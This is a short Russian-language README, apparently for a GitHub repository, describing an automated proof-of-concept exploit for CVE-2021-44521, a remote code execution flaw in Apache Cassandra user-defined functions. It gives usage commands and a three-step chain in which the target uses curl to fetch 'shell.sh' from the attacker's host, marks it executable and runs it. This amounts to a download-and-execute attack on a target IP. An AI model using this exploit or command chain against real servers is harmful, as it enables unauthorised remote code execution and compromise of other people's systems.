woodenklaas/cve-2021-44521Автоматический proof-of-concept эксплойт для CVE-2021-44521, обеспечивающий удалённое выполнение кода на Apache Cassandra через пользовательские функции. Выполняет произвольные команды на целевом IP-адресе.
Автоматизированный PoC для CVE-2021-44521 Авторство оригинального PoC: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
Cassandra-driver
pip3 install cassandra-driver
python3 poc.py <ip> <cmd>
Обратите внимание, что за раз можно выполнить только одну команду, а также пока нельзя использовать конвейеры (pipes). Поэтому запускайте
pyhon3 poc.py <ip> "curl http://<your-ip>/shell.sh -o /tmp/shell.sh"
python3 poc.py <ip> "chmod +x /tmp/shell.sh"
python3 poc.py <ip> "/tmp/shell.sh"